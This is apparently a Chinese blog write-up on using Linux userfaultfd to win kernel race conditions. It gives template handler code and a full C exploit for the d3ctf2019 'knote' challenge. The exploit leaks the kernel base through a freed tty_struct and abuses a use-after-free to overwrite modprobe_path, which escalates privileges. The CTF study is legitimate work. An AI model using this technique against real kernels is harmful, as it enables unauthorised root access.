条件竞争 && userfaultfd
条件竞争 && userfaultfd
概述
userfault
是linux
下的一种缺页处理的系统调用,用户可以通过自定义的函数
来处理这个缺页错误。这里说的缺页
就是指,程序访问页面时,该页面还未被装入RAM
中,比如mmap
出来的堆块。通过这个机制我们可以控制程序执行的先后顺序,从而大幅度提高我们条件竞争成功的概率。
假设某个程序存在一个内核堆,这里的操作都没有加锁。一个线程不断分配和编辑堆块,另一个线程不断释放堆块,那么这里就有可能编辑刚到被释放的堆块。若此时把fd
编辑成目标地址,便可以实现任意地址写。
如果这里我们直接开两个线程进行竞争,不但竞争成功的概率很低,而且也不好判断是否竞争成功。
但是如果我们分配堆块的功能里有,如copy_from_user
等函数的操作。那我们就可以在分配堆块时通过缺页错误使他阻塞,此时通过另一个线程释放当前堆块,缺页错误处理结束之后便可以对这个已经被释放的堆块进行编辑,从而大大增加了条件竞争成功的概率。
模板
userfault_register
void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error");
ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
}
userfault_handler
void *userfault_write_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] write handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memcpy(page, &modprobe_path, 8); // make fd = &modprobe_path
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] write handle done");
}
例题:d3ctf2019-knote
exp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <poll.h>
#include <string.h>
#include <assert.h>
#include <linux/userfaultfd.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#define PAGE_SIZE 0x1000
#define TTY_STRUCT_SIZE 0x2E0
int fd, tty_fd;
size_t kernel_base, modprobe_path;
typedef struct
{
union
{
size_t size;
size_t index;
};
char *buf;
}Data;
void get_flag()
{
puts("[+] Prepare shell file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /shell.sh");
system("chmod +x /shell.sh");
puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /FXC");
system("chmod +x /FXC");
system("cat /proc/sys/kernel/modprobe");
system("/FXC");
system("cat /flag");
sleep(5);
}
void add(size_t size)
{
Data data;
data.size = size;
data.buf = NULL;
ioctl(fd, 0x1337, &data);
}
void delete(size_t index)
{
Data data;
data.index = index;
data.buf = NULL;
ioctl(fd, 0x6666, &data);
}
void edit(size_t index, char *buf)
{
Data data;
data.index = index;
data.buf = buf;
ioctl(fd, 0x8888, &data);
}
void show(size_t index, char *buf)
{
Data data;
data.index = index;
data.buf = buf;
ioctl(fd, 0x2333, &data);
}
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}
void register_userfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if(ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API error");
ur.range.start = (unsigned long)fault_page; // the area we want to monitor
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if(ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) // register missing page error handling. when a missing page occurs, the program will block. at this time, we will operate in another thread
ErrExit("[-] ioctl-UFFDIO_REGISTER error");
// open a thread, receive the wrong signal, and the handle it
int s = pthread_create(&thr, NULL, handler, (void*)uffd);
if(s!=0)
ErrExit("[-] pthread-create error");
}
void *userfault_leak_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] leak handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
}
void *userfault_write_handler(void *arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long)arg;
puts("[+] write handler created");
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(3);
if(nready != 1)
ErrExit("[-] wrong poll return value");
nready = read(uffd, &msg, sizeof(msg));
if(nready<=0)
ErrExit("[-] msg error");
char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(page == MAP_FAILED)
ErrExit("[-] mmap error");
struct uffdio_copy uc;
// init page
memset(page, 0, sizeof(page));
memcpy(page, &modprobe_path, 8); // make fd = &modprobe_path
uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] write handle done");
}
int main()
{
fd = open("/dev/knote", O_RDWR);
if(fd<0)
ErrExit("[-] open file error");
add(TTY_STRUCT_SIZE);
char *leak_data_buf = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(leak_data_buf == MAP_FAILED)
ErrExit("[-] mmap error");
register_userfault(leak_data_buf, userfault_leak_handler);
int pid = fork();
if(pid<0)
ErrExit("[-] fork error");
else if(pid == 0)
{
sleep(1);
delete(0);
tty_fd = open("/dev/ptmx",2);
exit(0);
}
else
{
show(0,leak_data_buf);
close(tty_fd);
size_t *leak_data = (size_t*)leak_data_buf;
if(leak_data[7] == 0)
ErrExit("[-] leak error");
kernel_base = leak_data[74] - 0x5d3b90;
printf("kernel_base: 0x%lx\n", kernel_base);
modprobe_path = kernel_base + 0x145c5c0;
}
sleep(2);
// write modprobe_path to next
add(0x100);
char *write_buf = (char *)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if(write_buf == MAP_FAILED)
ErrExit("[-] mmap error");
register_userfault(write_buf, userfault_write_handler);
pid = fork();
if(pid<0)
ErrExit("[-] fork error");
else if(pid == 0)
{
sleep(1);
delete(0);
exit(0);
}
else
{
edit(0,write_buf);
}
sleep(2);
// change modprobe_path
char *path = "/shell.sh\x00";
add(0x100); // 0
add(0x100); // 1
edit(1, path);
get_flag();
return 0;
}
本文来自博客园,作者:{狒猩橙},转载请注明原文链接:https://www.cnblogs.com/pwnfeifei/p/16293004.html